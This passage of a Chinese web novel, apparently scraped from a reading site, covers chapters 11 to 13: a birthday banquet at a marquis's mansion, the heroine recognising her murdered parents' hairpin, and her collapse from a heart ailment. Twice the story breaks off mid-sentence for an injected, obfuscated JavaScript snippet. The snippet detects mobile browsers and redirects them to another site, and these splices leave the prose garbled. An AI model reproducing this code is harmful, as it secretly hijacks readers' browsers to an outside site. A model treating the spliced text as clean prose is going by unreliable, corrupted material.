嗯，比刚才给谢砚深的好看多了。 “……姑娘，您在哪啊……”关嬷嬷的声音听起来要急哭了。 “嬷嬷！我在这儿呢——”她抱好花束，慢悠悠地朝回走。 11. 寿宴 从云山观回来当天夜里，玉怜脂就犯了晕，软倒在榻上起不来，谢滨连忙请了大夫，诊脉后说是染了风寒，还有伤了筋骨的症状，需要好好静养几日。 消息很快就传到了各院主子耳中，王老太君自然是不放在心上，只说让她专心养身子，十日后的寿宴能来就好，不能来也无妨，谢滨则是将这件事看的颇重，特意嘱咐了方氏，要好生照料。 如今入了冬，府中得疾症的人不少，高大夫人常年病着，畏惧寒气，谢滨和方氏这段时日也都有些喉肺不适，故而十分谨慎。 侯府主院里，书房内的某个角落多了只白瓷瓶，插着枝孤零零的梅。 谢砚深听完忠伯的禀报，默了一会儿，只说了句“知道了”。 在床上迷糊昏睡的日子总是过得很快的，玉怜脂起先是一直发热，却又烧不起来，后来灌了好几天汤药，总算有了好转。 等她能自如起身的时候，离王老太君的寿宴还有三天，京城里落了今年冬天的第一场雪。 这次的大宴是庆老太君六十的整寿，遍京名门都会接了帖子来赴宴，宫里也会按例送来赏赐，到时场面定是盛大隆重。 玉怜脂清醒过来的第一件事，就是挑选呈给老太君的寿礼。 她是晚辈，又是府中客，送礼之事绝对不能轻慢。 好在她那一整船的好东西不是白带的，船上的宝贝得益于那笔专用来请护卫镖师的万两银，全都完好无损。 玉怜脂和关嬷嬷挑了又挑，最后选定一幅松鹤延年百寿图双面绣，绣框用鸡翅木打造，苏州头等的几位绣娘连着绣，绣了整整半年才出的珍品。 原本是打算运来摆在京城玉氏锦绣阁里镇店的，现下碰着老太君的寿辰，换了个用途倒也不算可惜。 侯府已经开始布置寿堂，寿联寿幛都准备齐全，满府挂起红绸，于府中行走，能清晰地感知到喜庆的氛围越来越浓。 冬月十六，霜风飒飒，镇北侯府却是人声鼎沸，正门大开，流水一般的车马列过，府中的管事全部忙得连轴转，迎接府门前一拨又一拨的贵客。 玉怜脂起了个大早，跟着大房先去了润安堂，老太君坐在上首，今日寿辰，儿辈孙辈都要先给她叩首贺寿。 其实玉怜脂是不算在侯府枝叶里的，但是她既然管谢滨谢砚深都叫一声世叔，如今还住在府中，遂跟着给老太君磕头了。 王老太君今日看起来心情十分舒畅，很给面子，玉怜脂把寿礼奉上的时候，笑眯眯地褒赞她礼节规矩极好云云。 府中请了京城里最拔尖的戏班子，花样技艺让人眼花缭乱，席面还没开，谢砚深和谢滨带着谢文霖去前院应酬，王老太君则在花厅正坐，身边围了一圈年长的贵妇人。 听下人说，和老太君最要好的王家姨奶奶安平伯夫人带着表姑娘赵庆姗也来了，厅中正热闹着。 这次是大宴，高大夫人拖着病体梳洗起身，没有闭门谢客。 自打云山观回来之后，她的病竟一天天地见好了，不过十天，精神头比玉怜脂刚入府见第一面时好了不少，也不像当初那样瘦到可怖的地步，瞧着面色褪去了五分蜡黄。 只不过她的身体还远没有到康健如常人的地步，不能长时间交际，来赴宴的贵客女眷也都了然于心，前来与她打过招呼便罢了，没有过多攀谈。 高大夫人坐在园中风光最好的流水亭里，亭子四面挂了厚帘防风，谢文嫣坐在她身边，玉怜脂也在亭中陪着，四周来来往往许多贵眷女子，香风阵阵，笑语不绝。 原本谢滨说，大宴会来许多与玉怜脂年岁差不多的年轻女郎，她在京中无友，可以借此良机交游一番。 但被玉怜脂婉言拒了。 “婶婶身子弱，文嫣又年幼，今日大宴府中难免忙乱，我陪在婶婶身边，也好时时照看。我来的第一日婶婶便待我亲切，我也想为她做些事，滨叔不必为我担忧。” 极懂事的一番话，言语恳切又柔和。 谢滨心中欣慰不已，只感叹她性子真是纯善温良，与她爹娘别无二致。 也不知道将来是哪个儿郎有那般好的福气，能与她配成姻缘。 玉怜脂坐在高大夫人身旁，为她添水，为她抚背，无微不至，末了同谢文嫣摆上棋盘对弈。 只是没下几盘，谢文嫣就哀嚎着不肯再动了。 “不下了不下了，怎的老是我输！玉姐姐也不让着我些，好生丢人。”谢文嫣缩着手，丧着脸离棋奁远远的，一头埋到了母亲怀里。 高大夫人乐不可支：“你这小赖皮，一看就知道平日没下功夫，棋子儿都团一堆去了，下出来的棋形这样坏，你不输谁输？” “母亲——”谢文嫣抱着她的手臂装可怜。 玉怜脂撑着下巴也笑得开心，食指戳戳她肉嘟嘟的脸颊：“赖皮鬼！多练练总会下得好的。那我们比比别的？” 谢文嫣来劲了，眼睛一亮直起身：“好呀！比投壶！姐姐输了就要帮我一起抄书——” 还没说完，高大夫人一横眉：“嫣儿！” 谢文嫣顿时怂了：“诶呀，我错了嘛，我自己抄……” “那便按照规矩，输的人罚酒？青梅酒、桑葚酒都好喝！” 玉怜脂掩唇笑道：“果酒虽不烈，可我这身子，怕是两杯都喝不得，还是罚些别的吧。嫣儿，你若输了，就罚果酒三杯，我若输了，首饰匣子里的东西任你挑。” “真的吗？”谢文嫣又惊又喜。 当初这位玉姐姐送她见面礼，她回去把盒子一打开，里头井然摆着一支紫玉牡丹金步摇、两只累丝八宝镯、一对翡翠镶金碧荷莲苞耳坠，精细奇巧，俱是上品。 更可贵的是，盒中还有一整块未经雕琢的挂红白玉，她可以找工匠自行打磨成想要的物什。 平日里姨娘和母亲给她置办的首饰也很少有这样贵重的。 真真是大手笔。 那时候她就知道，玉姐姐家底厚，很厚。 她的首饰匣子里，绝对都是好东西。 玉怜脂：“当然是真的，君子，不，女儿一言，驷马难追。” “好！”谢文嫣蹦起来，小手朝旁边的丫头婆子一挥，“快，快把东西摆起来。” 高大夫人无奈地摇头，转头对玉怜脂说：“怜脂，你也太惯着她了，难为你肯留下来陪她胡闹。” 玉怜脂笑而不语。 对弈投壶种种皆能消磨时间，比起照谢滨的意思去强行融入世家贵女们的圈子，她还不如就在这坐着，得个清净。 道不同不相为谋，对于这些人来说，她不过是长着华美羽毛的雀鸟，娇丽价贵，但没几个心中会真拿她当回事。 就像王老太君对她的态度那样，和睦相处下是高位者冰冷的俯视，先前来与高大夫人问好的贵眷看她的眼神无一不如此。 而她自然也不会强求，反正她也不是为了交游才来的京城。 谢文嫣棋艺不精，投壶却真有几分天赋，投了五个回合，她中了四回，玉怜脂只中了一回。 这是输得彻彻底底了。 “唉，我就知道我是输定了的。”玉怜脂唉声叹气，捂着胸口佯作伤心，倒在椅子里。 她刚病愈，腕力虚浮，平日也不多练习，和谢文嫣作赌之初她其实就已经料到结果了。 谢文嫣跑过来搂着她，笑嘻嘻地：“我输姐姐棋艺，姐姐输我投壶，夫子说，世间万事盈虚消长，莫过于一个衡字——” 玉怜脂好笑地捏捏她的脸：“你倒是学得精，好，那我就消消我的首饰箱子，长长你这小女夫子的妆匣。” 亭中气氛正好，亭外匆匆小跑来一名婢女，入了亭中行礼后道： “大夫人，护国公府的女眷到了，已拜过了老太君，现在正往这边来。” 婢女话音落下，原本倚靠在贵妃榻上的高氏猛地一震，连忙扶着贴身丫鬟的手坐正：“护国公府？” “是，国公府的大小姐、刘三夫人和四小姐都到了。”婢女答道。 高大夫人指挥着下人：“快，快把亭中收拾收拾，沏茶。” 玉怜脂看着她如临大敌的模样，和身边的谢文嫣咬起了耳朵：“护国公府，就是当今皇后娘娘的母家，承王殿下的外祖家吗？” 段素灵在京中查探的消息都汇好了派人递给她，现在她对京城里有名的高门望族多少有一些了解。 护国公府任氏，在先帝登基时立有从龙之功，因而受封一品公爵。 现任护国公任保是当朝皇后同父同母的亲兄，其妻袁夫人早逝，两人膝下一女二子，长女就是今日来赴宴的任大小姐。 而护国公之妹，平武帝发妻任皇后只育有一子，也就是二皇子承王殿下。 谢文嫣点点头，压低声音：“没错，而且我偷偷和你说，先前祖母和叔父、爹爹谈话的时候我听到了一些，说护国公府的大小姐任智妤已经定了要嫁给承王殿下了，是未来的承王妃。” 表妹嫁表哥，倒也不算稀奇，而且夺嫡之事，承王极需要母族作为后盾。 玉怜脂：“对了，那今天来的那位刘三夫人是？” 谢文嫣：“哦，护国公和皇后娘娘后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991702|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面还有一个弟弟，也就是国公府的三房，刘三夫人是三房的主母，任四小姐是她的女儿，名叫凝香，是任大小姐的堂妹。” “原来如此。”玉怜脂了然。 谢文嫣抬头扫了一眼，人还没到，她低下头和玉怜脂兴奋地说： “玉姐姐，你没见过任大小姐吧？我和你说，她可美了，但就是不爱笑，我每次见到她，都有些害怕，但是又忍不住偷看她。” “哦？”玉怜脂也来了兴趣，“真的？” “当然是真的！哥哥说，外头的人都说她是京城第一美人——”谢文嫣说着说着，突然一顿，定睛打量眼前的人。 玉怜脂顺着她的眼神看看自己，浅笑着抬手刮了刮她的鼻尖：“怎么了？” 寒风拂过，少女雪白娇艳的鹅蛋脸衬在围脖处的狐绒上，眼睛亮如明星，靠近眼尾尖的一颗小痣嫣红沁血，她今日身上穿的颜色一如既往的素淡，却丝毫无损她的明丽。 谢文嫣愣了一会儿，竟然脸红了：“玉姐姐，我觉得，你和她一样美。” 只是美得不同，她心里默默道。 任智妤就像雍容勃艳的牡丹，而玉怜脂则是柔丽纯净的水莲。 不远处隐约的喧闹声逐渐清晰，抬眼看去，一群仆妇簇拥着三名女子朝亭子这边走来，很快就到了近前。 高大夫人扶着下人的手，站起来迎上去，笑容满面：“刘夫人，任大姑娘，任四姑娘。” 玉怜脂和谢文嫣站在她身后，垂眼静站。 为首的绿裙贵妇人同样热切，忙快步走上来和高大夫人寒暄。 在她身后，两名年轻女郎紧随着，入了亭后，双方行过礼。 长辈还在交谈，小辈自然就在一旁候着，玉怜脂抬起眼，对上一双冷厉的凤眸。 站在她正对面的女郎高挑纤瘦，凤目凛凛，眉尾上扬，唇薄而殷红，头戴嵌红宝九珠钗，端是美艳绝伦，而她身上那股威仪不俗的气势更让人呼吸一窒。 这名女郎毫无疑问就是谢文嫣口中的京城第一美人，护国公府的大小姐，任智妤。 在玉怜脂观察任智妤的时候，任智妤也在看着她。 任智妤上下打量着对面捧着小手炉的白青锦裙少女，衣着素淡雅致，毫不张扬，京城中的生面孔，应当身份不高，相貌是一等一的绝丽，雪肤花容，般般入画，面容很是恬淡，看起来端庄守己。 和身边的女童，高大夫人的女儿谢文嫣站得很近，瞧着十分亲密。 此时，高大夫人半回过身，抬手把身后的玉怜脂拉上前来，笑着介绍： “这是我们家远亲的侄女，前些日子刚入京，姓玉，叫怜脂，刚满十七。” 刘夫人体态丰润，笑容十分和蔼，拉过玉怜脂的手，嘴上夸个不停。 这是今日第一个待她如此热络的贵眷夫人。 “这孩子只比我家凝香小半岁，又这样乖巧，以后游玩踏春还能做个伴！”刘三夫人笑眯眯地说。 “母亲说的是，这位妹妹看起来便好相处，我喜欢得紧呢。”刘三夫人身后，一道颇为甜腻的活泼声音响起。 玉怜脂淡笑转眼，朝刘三夫人身后看去。 下一刻笑容猛地一僵，瞳中狠狠缩紧。 刘三夫人左后侧立着一名翘红撒花缎袄的娇俏少女，右唇角下一颗小痣，圆眼丰唇，和刘三夫人有七分相像。 护国公府任四姑娘，任凝香。 她入亭后一直站在玉怜脂视野左侧方的死角，加上她身量又不高，被刘三夫人和任智妤牢牢挡着，直到现在玉怜脂走上前，才真正看见她模样。 但玉怜脂的视线没有关注她的容貌，而是定在她发髻上。 团团墨发里插着一根栩栩如生的鸾凤钗，凤眼处的宝石品质极佳，在阳光下闪烁着耀目的光亮，整支钗巧夺天工，用色极美，即便摆在贡品里也是独一份的绚丽。 旁边任智妤的金丝九珠钗已经足够华贵，但在任凝香这只凤钗前，也不免逊色。 世上所有喜爱妆扮的女子都不会对它吝啬赞美之词。 玉怜脂望着那支钗，唇角的弧度极力强忍着不变，而眼中已经快要滴血，心脏的跳动狂躁起来。 但她不是因为羡慕，更不是因为嫉妒，而是因为恨。 滔天的恨。 一股悚然恐怖的寒意瞬息之间窜遍她的身体。 这支钗，这支戴在对面陌生京城贵女发髻上的钗， 分明是她阿爹与阿娘的定情之物—— 丹阳竞宝会，她阿娘去时，就戴着这只钗。 12. 心疾 “怜脂?怜脂?”略有些沙哑的女声响起，唤回她神智。 亭中众人都看出她此刻的愣神，表情各异。 玉怜脂掌心掐出鲜血，移回眼，轻笑着对高大夫人、刘三夫人说： “婶婶、夫人莫怪，实在是这位姐姐发上的钗太过工致，不怕你们笑话，我家中做有些首饰钗环的买卖，托大了说，也算阅钗无数，但我还是第一次见到这般玲珑妙巧的凤钗。” “是我眼界低了，此等珍品，的确也只有在京城这样钟灵毓秀的地界才有幸得见。” “这钗戴在任四姐姐的发髻上，”她双眼弯弯，笑着看向面前的娇俏少女，真诚夸赞道, “真是不一般的好看。” 话音落下，在场几人的脸色都恢复如初，刘三夫人更是掩唇呵笑不止。 好钗自当配金贵美人，她的话说着自己眼界浅，也大大抬高了任凝香。 任凝香抬手抚了抚发髻上的鸾凤和鸣钗，唇角溢出甜笑：“哪就像玉妹妹说的这么好了……妹妹羞煞我了呢。” 玉怜脂笑容加深：“制这钗的工匠想来定是名家，不知是哪家铺子的首饰，这手艺真是天下一绝啊。” 她这一问并不突兀，年轻女儿家喜好钗环首饰胭脂水粉十分正常，而今日问任凝香这钗来历的人不少，想问却又不敢问的就更多了。 无他，这凤钗实在是太好，今天前来赴宴的又都是豪门勋贵，当然不缺置办首饰的钱财，怕只怕有市无价。 “诶哟，这说起来可惜，这钗原是家中长辈传下来的，年代久远了些，还真不晓得出自哪位名匠之手。”这时，一旁的刘三夫人笑着接过话。 玉怜脂于是了然地点点头，表示理解。 而手中已经捏紧帕子。 这个女人， 在撒谎。 说罢，刘三夫人又嗔怪地回头瞪了任凝香一眼，然后道： “她呀，最是爱美，非要戴这惹眼东西，我这当娘的好说歹说都拦不住，今个可是出了大风头！这张扬性子，是得改改。” 任凝香脸更红了：“母亲！今日老太君寿宴，当然要隆重些嘛，大家都这样，怎的就独独说我！” 刘三夫人：“智妤不就比你稳重多了，你也不学着点你大姐姐。” “母亲真是，怎么拿我和大姐姐比，大姐姐就算素面布裙，都是最拔尖的呀，我当然得人靠衣装啦。” “是，就你有理……” 众人俱是面带喜色，欢笑满堂。 唯有一人，自入了亭中就一直身处局外，冷眼旁观。 嬉笑驳斥之时，任凝香羞赧地红着脸颊，视线止不住往旁边无言而立的任智妤身上飘，似有若无，小心翼翼。 然后在得到了漠然的无视作为回应后，气闷地收回眼。 高大夫人笑着打圆场：“爱美乃人之常情，更何况凝香这样俏丽的美人儿，这钗配她，我看啊，正好。再说，如今她们这些孩子也都到了相看的年纪了，自然要好好打扮。” 刘三夫人骤变疲容：“高姐姐提起这个，唉，我正犯愁的也就是这桩事了……” “……” 玉怜脂捻着熏过沉水香的帕子压在人中处，微垂着头，余光能瞥见站在一旁的任智妤。 从始至终这位未来承王妃一直眼神漠然，只是淡淡看着她们交谈，不发一词，连个表情都欠奉。 果然如谢文嫣所说，容貌艳过牡丹，性情冷如冰雪。 而高大夫人和刘三夫人也像是知晓她脾性，不去硬拉着她说话。 众人聊着，顺势在亭中就坐，丫鬟们已经摆好了热茶和精致的糕点，上好的凤凰水仙，青茶宜配咸，桌上除了咸香酥点，还有许多种炒制后剥好的果仁。 玉怜脂拿了一杯茶，浅浅饮了一点，将茶杯放在鼻下细细嗅了一番。 凤凰水仙高扬绵长的香气幽幽钻入她的鼻窍。 将她胸中恶心欲呕的冲动勉强压制下去。 她强行克制着不去看对面任凝香发髻上的鸾凤和鸣钗，因为如果再看下去，她一定就忍不住了。 从刚才到现在，她的心脏已经颤痛不止，疼痛愈来愈烈，现下腹中的胃也开始翻搅。 她知道，她的心疾要犯了，很快。 而这三年来连梦中都挥之不去的那股恐怖的恶臭，即将再次缠绕上她。 可她现在还不能走，她已经露出一次异样，不能再有第二次。 高大夫人握着任凝香的手拍了拍，转头和刘三夫人笑道： “你呀，这么好的好福气，得了这么个水灵的女儿，一点不像我家的皮猴不省心，哪家的好儿郎配不得，愁个什么。” 谢文嫣缩在一旁，默默喝茶吃点心。 刘三夫人：“都说天公作美自成姻缘，但说到底谋事在人不是？这一谋起来啊，我那是整夜整夜地睡不好。姐姐你喜静，不常出来走动，但过个几年，恐怕呀，比我如今还忙呢！” 再过个几年，谢文嫣谢文霖就到了嫁娶的岁数，高大夫人身为母亲，当然要忙碌儿女婚事。 刘三夫人说罢，又看向坐在一旁饮茶的玉怜脂：“怜脂这孩子也到年纪了，不知……？” 高大夫人：“怜脂身子弱，从前一直在家里养着，难免耽搁了，现在来了京城，我与子慎正想为她相看一番。” 子慎，谢滨的字。 刘三夫人眼中一闪，笑着应声，极有眼色地不去问“那她双亲的意思呢”。 高大夫人又凑近她一些，低声说了几句话。 玉怜脂余光瞥过去，果不其然看见刘三夫人的脸色变了变。 应当是高大夫人与她说了招赘之事。 看来高大夫人和这位刘三夫人不止是旧识，交情还不浅。 刘三夫人思索一番后，开口出主意：“怜脂性子好，颜色好，相看起来定是一家好女百家求，再过三月就是春闱了，各地举子都要赶科考，不比现下就定了好得多?到时候再细细看，为时不晚。” 高大夫人眼睛一亮，深以为然：“还是你想的周全，我真是糊涂了，竟忘了这茬子事。如此自是再好不过。” 说话间，亭外来了两名蓝衣婢女，是被派来寻任智妤和任凝香的。 “女郎们在湖边煮酒观鱼，现下要击鼓催花，作诗词，特派我们来请任大姑娘和任四姑娘。”蓝衣婢女恭敬道。 说是两人都请，但传话婢女的眼神分明只黏在任智妤身上。 亭中众人也看出来了，但只有任凝香的脸色不大好看，刘三夫人倒是没什么不快。 任凝香在诗书上只是半桶水，而任智妤却是柳絮才高，与京中许多有才名的贵女结过不止一回诗社，也当过诗社社长，加之身份高贵，那些贵女更想请她一点都不奇怪。 话说到这份上，亭中这场小聚自是要散了。 然而主座上的高大夫人眼中略带隐忧地朝玉怜脂看过来：“怜脂，那你……” 年轻女孩子们 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待脱离了众人视线，拐过一个角落，嶙峋假山群遮掩下，玉怜脂猛地朝前一坠！ “姑娘！！”关嬷嬷立刻扶住她，已经急出满头大汗。 “药……药……不能，待在这……！嬷嬷……快，快带我，走……走……”玉怜脂捂住心口，冷汗淋漓。 忽然，她瞳孔猛地一缩，一把挥开搀扶她的关嬷嬷，跪倒在地，不停地干呕。 好臭，好臭，好恐怖，好恐怖——！ 她开始啃咬自己的手背，很快就鲜血淋漓，瞳孔渐渐失焦。 关嬷嬷被推开后立刻又凑近，只一眼，她意识到情况不同往常。 她一把扯下玉怜脂腰间的香囊，狠狠撕开，一颗被缝在香囊内部的红色小丸掉了出来。 顾不上别的，关嬷嬷拿了那颗药，擒住面前不停剧烈颤抖的少女，将小丸推入她口中让她咽下，随后从怀中掏出一张提早准备好的药香帕子，捂在她的口鼻处。 “姑娘，姑娘吸气啊！好姑娘，快……”关嬷嬷眼中急出了泪 。 那颗小红丸是段素灵配出来的救急药，就是为着防备玉怜脂心疾突发的情况，而她真正发病的样子除去已逝的玉逢羲、戚脂，见过的人拢共不超过三个。 是药三分毒，这药是能暂缓急症的灵丹，却也是极阴极重的催命毒，玉怜脂及笄前的十四年只吃过一次，最近三年吃的次数倒多了起来。 而她及笄后不得不服这药的第一回，是玉逢羲和戚脂的尸身被日夜守候在丹阳河下游的玉氏忠仆打捞起来，秘密送回玉家的那一夜。 关嬷嬷清楚的记得，那夜的天黑沉如渊，暴雨狂风交杂，整座宅院仿佛都摇摇欲坠。 玉怜脂身上的麻衣已经湿透，雨水从她脸颊、鬓发不停滑落，砸在地上，很快染成一片。 她顶着风雨疾奔而来，踏入灵堂，执意要亲眼见到父母尸身。 那时她已掌控全家，无人劝阻得了。 在棺盖掀开的那一瞬间，整个灵堂都是忍不住的作呕之声。 但穿着孝衣的少女没有任何反应，站在棺边，像是定住了。 过了很久很久，她像是终于回过神，抬起头，没有任何表情，只喃喃着说了一句话—— “不是……” “这不是我阿爹阿娘……” 而后一口鲜血喷出，重重倒了下去。 13. 厢房 关嬷嬷抱着怀里因为服了药失去理智的少女，心焦无比，抬起头四下张望。 她们现在位于花园南角的假山群，虽然僻静，但离花园太近，时不时还是会有人路过。 玉怜脂的病一旦猛烈发作，只服用红丸是不够的，平时里三日一服的汤剂必须配上，她才能尽快恢复意识。 高大夫人那里还在等着，她们不能在外头耽搁太长时间。 可现在的问题是，汤剂虽时常备着，但却在西院那边，玉怜脂昨日才服过，没料想今日会出这样大的事，简直打得她们措手不及。 玉怜脂已经撑不到走回去了，她如今的状态绝不能示人，她们不可能原路返回。 关嬷嬷脑中思绪飞快旋转，她这些日子花了大功夫了解侯府布局，就是为了以防万一。 几个深呼吸后，她转首看向假山东面，眯起眼。 那个方向是侯府主院，离假山群最近。 现下郎君们都在前院与同僚宴饮，侯爷必定不在主院，此刻大宴快要开始，伺候主院的人手肯定也调了不少出去帮忙。 侯府中每个院都配有单独的奴仆房、茶房、小厨房等，如果主院和西院的布置差不多的话，那下人们活动的地方离主人的寝院距离较远，待确定了哪几处偏僻无人，暂去避几刻钟想来不会惊动旁人。 只要玉怜脂藏好，等她跑回去拿到熬好的汤剂回来就成。 打定主意后，关嬷嬷扶起玉怜脂，在假山群中跌撞着穿梭。 * 主院，放鹤轩茶房。 菊霜揣着手，坐在小炉前，这天实在是冷，放鹤轩虽然归于主院范围内，但却独立于其他建筑，远远地建在湖边，水汽一散，寒气更重了。 平日里侯爷邀亲近友人、同袍入府谈事时多是来此，主院大茶房离放鹤轩有些脚程，泡好的茶若是耽搁时辰太久难免味道打折扣，索性就在放鹤轩旁边设了一个单独的小茶房。 距离近，方便些。 今日府中摆宴，除了前院和后园，各个地方都是冷清得很，平日里放鹤轩加上她有三四人，现下就剩她一个守着。 菊霜正要拿起火箝拨一拨炉中的炭，忽地，门外乍响几声敲击声。 她站起身，过去打开门，只见一个面生的老妇人正满脸焦急，身上穿的衣裳面料很好，应该是哪里的领头嬷嬷。 还没等她开口询问，老妇人急忙道明来意：“我是西院翡韵阁伺候玉姑娘的，姓关，我们姑娘在前头林子里扭了脚，我看这离得近，又有人，所以叨扰了，想来问要些膏药。” 菊霜了然的同时眼中一亮。 她是知道这位新来不久的玉姑娘的，说是出手极大方，办她的差事好处绝对少不了。 菊霜眼睛一转，说道：“原来如此，我这有些药油，药效还行，但那味道着实……给玉姑娘用的话怕是不大好。嬷嬷若是能等一等，我去主院那边问药房的姐姐讨些上好的膏药来给您怎么样？” 关嬷嬷连忙应下：“那真是再好不过了！只是这事儿还望不要透露给旁人，我们姑娘病刚好不久，这次又伤得不重，不想大郎君知道了担心，今日大宴，不好因为些小事惊动侯府几位主子。” 说罢，怀中掏出几大块沉甸甸的银子，塞到了菊霜手里。 菊霜握着分量不轻的银两，眼睛都瞪大了些，自然忙不迭答应：“我明白我明白，嬷嬷只管放心在这等着！” 说罢，揣着银子就往外奔。 待年轻婢女的身影彻底不见，关嬷嬷立刻调转脚步，跑回放鹤轩树丛中靠坐墙角的玉怜脂身旁。 她早年跟着商队走商，免不得跋山涉水、露宿风餐，如今年岁上来了，力气依旧很大，一把将少女撑起抱住，快步往没人的放鹤轩中走。 这个地方是她挑选过最合适的了，主院那边留守的人比她想的多出不少，根本无法接近。 就在她焦急不已时，突然老远瞧见了主院林子另一头的湖边有座建筑，而且没有人。 放鹤轩临水而建，梁柱高，整体自然也高，否则她恐怕还真看不见它。 没成想走近了之后，这竟然还守着个婢子。 关嬷嬷敢担保，若是她一个人，绝对能悄无声息地进去，但现在她是要拖着玉怜脂进屋，那就肯定做不到不惊动留守的婢女了。 可此处已经是当下最好的选择。 她总不能把她家姑娘随便藏在林子草丛里，天寒地冻的，玉怜脂身体又极为虚弱，不病死也要冻死了。 于是心一横，敲了小茶房的门，找了个由头，将茶房婢女引开。 放鹤轩很大，最靠近水边的是无窗无门的亭子，再往后连着长长的廊屋，上下两层，分隔布置着几间供主子们休息的房间。 关嬷嬷扶着玉怜脂，毫不犹豫上了二层，往靠近最里处的第二间去，推开门，这间尽头的厢房不大，但床榻屏风桌椅等物一应俱全。 侯府规矩严苛，主院尤甚，听说和镇北侯治下手腕严厉有关，这里的房间只要不是侯府主子们亲自过来，是绝没有下人敢擅自进入的。 等她拿了汤剂回来，玉怜脂清醒了，只说行至此疲累，在放鹤轩房间歇息一会儿就是。 关嬷嬷不敢耽搁，连忙将少女扶上床榻，盖上厚被。 此时玉怜脂的脸色十分苍白，双眼半阖，不停地流泪，口中咬着的那张帕子也撕烂了，她声音非常低，细声呓语着，又要去咬自己已经血淋淋的手。 关嬷嬷连忙掏出剩下的一张帕子，一把撕成两条，把她的双手绑在床柱上，没有绑得多紧，只是不让她继续自伤。 “姑娘，姑娘乖啊，嬷嬷很快就回来，别怕……”老妇人一边念叨，一边帮她捻好被子。 说罢，她最后看了一眼床上的少女，扯下床幔，咬着牙出了房门。 * 主院。 福明匆匆入了大门，奔向书房方向，忠伯闻讯赶来，跑在他旁边，连忙问： “怎么了，侯爷有什么吩咐？” 福明一边快步走着，一边答他：“侯爷正往放鹤轩去，要我回书房拿些紧要的东西。” 忠伯：“前头要开宴了，侯爷怎的突然要去放鹤轩?” 福明语速很快：“自然是有要事要谈，前院不方便。” 忠伯紧跟他步伐：“今日就派了一个茶房丫鬟在那边，我这就派人过去……” “倒也不用，”福明气喘吁吁地推开书房大门，头也不回地说， “侯爷说越少人在旁边越好，最好离远些，一个丫鬟也够了！” 放鹤轩。 菊霜忍不住一下又一下地摸着膝上铺着的四五块银子，又掂了掂手里的一袋金叶子，觉得哪怕是现在这茶房里的炭火全熄了她也暖和得要命。 方才那个姓关的嬷嬷拿了好药，又给了一次赏钱，然后才急匆匆地走了。 那些在西院伺候的人果然没有说假话，翡韵阁的玉姑娘出手豪阔，不过是为她寻了一次药，她身边的贴身嬷嬷就能给这么大一笔赏银！ 这都够她全家两年的嚼用了，还有不少富余能存起来。 菊霜盯着金银，嘴角是止不住的笑意，眼神逐渐放空。 说起来，府里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991704|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管调派的邱妈妈要过生辰了…… 若是弄些好酒好菜，割些肉放点血，分点银子出来孝敬邱妈妈， 她能想法子把她调到西院去不? 呆在这主院真是没甚前途，放鹤轩这小破茶房，她难道呆一辈子不成? 其他地方的婢子还说羡慕在这经常能伺候侯爷，多在他眼前晃晃，侯爷年轻，又一直没有房里人，若是一朝得了青眼，荣华富贵—— 啊呸！ 侯爷跟个苦行僧似的，说不近女色那就是不近女色，谁敢忤逆。 主动爬床? 恐怕还没爬进侯爷的房门前的走廊外的院子里，就已经被忠伯带着人五花大绑吊树上抽成稀豆腐了！ 到时候可真是荣华富贵了，纸钱那是厚厚地买，大盆大盆地烧，保管能在阎王爷那吃香喝辣，风光投胎。 菊霜抖着肩呲牙咧嘴，一阵恶寒。 唉， 想来想去，还是玉姑娘那有前程啊…… …… “叮。铛。”悬挂在高处的铜铃撞出穿耳而入的脆响。 菊霜抱着银子猛地站起身。 侯爷来了。 她连忙跑到窗边，只看见两道踏阶而上的男子背影，一高大，一清瘦，高大的披着玄色万字纹披风，清瘦的穿着湖蓝厚棉袍。 菊霜不敢耽搁，立刻开始准备茶水。 心中暗暗庆幸。 要是侯爷是刚刚她跑出去拿药的时候带着贵客来的，就算有关嬷嬷在，她也难免被追究个失职的过错，幸好，幸好。 看来她今日运气真的不错。 谢砚深和陈密言上了楼，推开最靠近楼梯的一间厢房房门，进入就坐。 楼下茶房的婢女动作很快，不多时就端了茶上来，完全不敢抬眼看什么，奉茶之后快速退出门去。 两人对坐，默然品茶，直到房门被敲响，福明捧着装有机密信函的盒子推门而入。 “侯爷，陈大人。”福明把东西放在桌上。 随后转身走出厢房，关上房门。 谢砚深没有说话，长指一挑，那没上锁的盒子翻开盒盖，里面是一叠薄薄的纸。 陈密言拿起那几张纸，细细阅看，脸色越来越沉，最后把纸一压，抬起头看向对面的谢砚深： “多谢侯爷相助，若无侯爷援手，只怕这斗兽案将永无见天之时。” 谢砚深：“陈大人不必客气，谢某只是尽为臣本分。” 陈密言难掩兴奋，将那几张纸小心翼翼收入怀中，又道： “侯爷参与此事全为仁义，下官感恩不尽，待御史台弹劾睿王之时，陈某定不会将侯府牵涉进来。” 谢砚深睨他一眼：“容我提醒大人，此案一发，朝中动荡，陈大人未必能全身而退，如此，你还要上奏吗？” 陈密言眼神熠熠：“为民申冤情，为法纠不公，御史本责而已。” “好。”谢砚深站起身，不再多说什么。 陈密言也站起来，对他行了一礼：“下官自去就是，侯爷留步。” 谢砚深：“福明。” 守在门口的福明心领神会，朝陈密言道：“陈大人，这边来。” 今日侯爷与陈密言大人的会面十分隐秘，他晓得其中厉害，引着陈密言往小路回前院。 两人离去，谢砚深复又在房中坐下饮茶，垂眸静思。 半晌，站起身出了房门。 